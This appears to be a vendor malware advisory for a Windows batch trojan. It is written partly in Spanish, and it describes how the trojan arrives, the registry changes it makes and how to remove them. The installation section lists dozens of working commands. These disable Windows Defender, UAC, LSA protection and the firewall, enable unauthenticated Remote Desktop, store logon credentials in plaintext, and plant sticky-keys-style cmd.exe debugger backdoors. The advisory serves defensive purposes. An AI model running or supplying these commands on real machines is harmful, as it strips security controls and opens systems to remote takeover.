Author: Mc Justine De Guzman   
 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
     

  • In the wild::
    Yes

  OVERVIEW

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 160,032 bytes
File type: EXE
INITIAL SAMPLES RECEIVED DATE: 09 марта 2022

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
  • REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d 0x1 /f
  • REG ADD "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d 0x1 /f
  • REG DELETE "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 0x1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d 0x0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d 0x0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d 0x1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 0x1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d 0x1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t REG_DWORD /d 0x0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 0x2 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v "NotificationSuppress" /t REG_DWORD /d 0x1 /f
  • reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
  • reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • netsh advfirewall firewall add rule name="VNC" dir=in protocol=TCP localport=7744 action=allow
  • REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HelpPane.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
  • REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
  • REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
  • REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"
  • reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v fDenyTSConnections /t REG_DWORD /d "00000000"
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v fAllowUnsolicited /t REG_DWORD /d "00000001"
  • REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v UserAuthentication /t REG_DWORD /d "00000000"
  • REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f /v SecurityLayer /t REG_DWORD /d "00000001"
  • REG add "HKLM\SYSTEM\CurrentControlSet\services\WinDefend" /v Start /t REG_DWORD /d 4 /f
  • REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  • reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0 /f
  • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DisableCAD /t REG_DWORD /d 0 /f
  • NetSh Advfirewall set allprofiles state off
  • REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v AllowFastServiceStartup /t REG_DWORD /d 0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v LocalSettingOverrideSpynetReporting /t REG_DWORD /d 0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
  • REG ADD "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v MpCloudBlockLevel /t REG_DWORD /d 0 /f
  • REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
  • REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start" /t REG_DWORD /d 4 /f
  • gpupdate /target:computer /force

Otras modificaciones del sistema

Agrega las siguientes entradas de registro:

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta
INSTDIR = C:\Windows

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta
Word = 3735928559

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta
parrent = 12

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta
WARNING = 247

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta
Bin = {Hex bytes}

Otros detalles

Agrega las siguientes entradas de registro como parte de la rutina de instalación:

HKEY_CURRENT_USER\Software\Virtual Box Inc.

HKEY_CURRENT_USER\Software\Virtual Box Inc.\
Virtual Disk Fanta

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 17.486.03
First VSAPI Pattern Release Date: 05 de апреля de 2022
VSAPI OPR PATTERN-VERSION: 17.487.00
VSAPI OPR PATTERN DATE: 06 de апреля de 2022

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Eliminar este valor del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • INSTDIR = C:\Windows
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • Word = 3735928559
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • parrent = 12
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • WARNING = 247
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • Bin = {Hex bytes}

Step 4

Eliminar esta clave del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

 
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.
    • = ""
  • In HKEY_CURRENT_USER\Software\Virtual Box Inc.\Virtual Disk Fanta
    • = ""

Step 5

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.BAT.KILLWINDEF.A En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


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